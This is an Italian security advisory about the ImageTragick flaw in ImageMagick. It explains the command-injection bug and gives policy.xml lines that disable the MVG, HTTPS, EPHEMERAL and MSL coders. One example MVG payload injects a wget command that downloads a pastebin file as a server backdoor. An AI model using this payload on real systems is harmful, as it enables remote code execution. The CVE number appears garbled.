ImageMagick. Il tuo sito è al sicuro dal bug ImageTragick?

ImageMagick è un popolare software utilizzato per convertire, modificare e manipolare le immagini. Ha librerie per tutti i linguaggi di programmazione comuni, tra cui PHP, Python, Ruby e molti altri. È anche molto semplice da usare, questo lo ha portato ad essere utilizzato da molti sviluppatori quando necessitano di opzioni di ritaglio dell’immagine o manipolazione di foto.

È anche possibile utilizzare ImageMagick per aggiungere annotazioni di testo alle immagini, ad esempio con l’aggiunta di una barra grigia nella parte inferiore con un avviso di copyright; per eseguire la correzione automatica del colore; per affinare la messa a fuoco di una serie di immagini; per la produzione di GIF animate per siti web; e altro ancora.

ImageMagick supporta anche diversi linguaggi di scripting come MSL (Magick Scripting Language) e MVG (Vector Graphics Magick), che consentono di descrivere le immagini, in entrambi i formati pixel-based e vettoriali.

Tuttavia, le ultime versioni di ImageMagick non filtrano correttamente i nomi dei file che vengono passati alle funzioni che gestiscono i protocolli esterni (come HTTPS). Questo permette a un attacker di eseguire i comandi a distanza caricando un’immagine. Il che porta ad una vulnerabilità RCE completa (esecuzione di comando remoto) nell’uploader di immagini. La vulnerabilità è così grave che i ricercatori hanno creato un divertente nick name più facile da ricordare al posto del codice CVE-2.016-3.714 ovvero ImageTragick.

 

Come funziona il bug ImageMagick

La vulnerabilità è molto semplice da sfruttare, un attaccante ha bisogno solo di uno strumento: l’uploader di un’immagine per fare leva sul codice di ImageMagick. Ci sono molte applicazioni web popolari e prodotti SaaS vulnerabili. Purtroppo, anche con tutta l’attenzione dei media, non tutti sono a conoscenza di questo problema.

Approfondendo questa vulnerabilità può effettivamente essere divisa in 4 diverse fasi, come ha spiegato molto bene Karim Valiev dal team Security Mail.Ru in questa discussione.

  1. Esecuzione di un comando a distanza attraverso upload di file MVG / .svg . Tramite un file un aggressore può forzare un comando di shell da eseguire sul server. Questo è un esempio molto semplice di come può funzionare:
    immagine su 0,0 1,1 'url (https: "; wget" http://pastebin.com/raw/badpastebin "-O /home/vhosts/file/backdoor.pl")'

    Quando viene aggiunto un file MVG, il comando wget viene eseguito e l’output del file salvato su pastebin in backdoor.pl.

  2. Cancellazione del file remoto. Quando si utilizza il pseudo protocollo “ephemeral:/” un utente malintenzionato può rimuovere i file sul server
  3. Spostamento di un file remoto: simile alla sua eliminazione, ma quando si utilizza il pseudo protocollo ” MSL: / “, l’attaccante può spostare i file
  4. La divulgazione dei file contenuti nel server quando si utilizza il protocollo ” label: @ “.

Quando si combinano tutti questi bug, gli attaccanti hanno una vasta gamma di opzioni e strumenti per compromettere una applicazione web che sfrutta ImageMagick. Si noti che solo il filtraggio per l’estensione MGV non è sufficiente, in quanto qualsiasi formato di file verrà ispezionato e il comando eseguito.

Si fa notare inoltre che altri strumenti IDS non rilevano e questo problema.

Come proteggere il vostro sito

Gli utenti dietro un WAF (Web Application Firewall) sono già protetti contro questa vulnerabilità, ma si consiglia comunque a tutti di seguire le raccomandazione degli sviluppatori ImageMagick e di modificare il file /etc/ImageMagick/policy.xml e disabilitare l’elaborazione delle MVG, HTTPS, EPHEMERAL, e MSL.

Nella parte seguente, aggiungere le righe:

<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />

Se non è possibile effettuare tali modifiche, disabilitare immediatamente la funzionalità di caricamento delle immagini,  fino a quando è possibile patchare correttamente. Meglio prevenire che curare.

Questo articolo è stato redatto seguendo le indicazioni fornite da Sucuri Security, Sophos, e ImageMagik. Qualsiasi novità verrà aggiunta a questo post aggiornandolo. Potete anche chiedere informazioni più specifiche o altri aiuti, per quello che possiamo aiuteremo a capire meglio questo pericolosa vulnerabilità.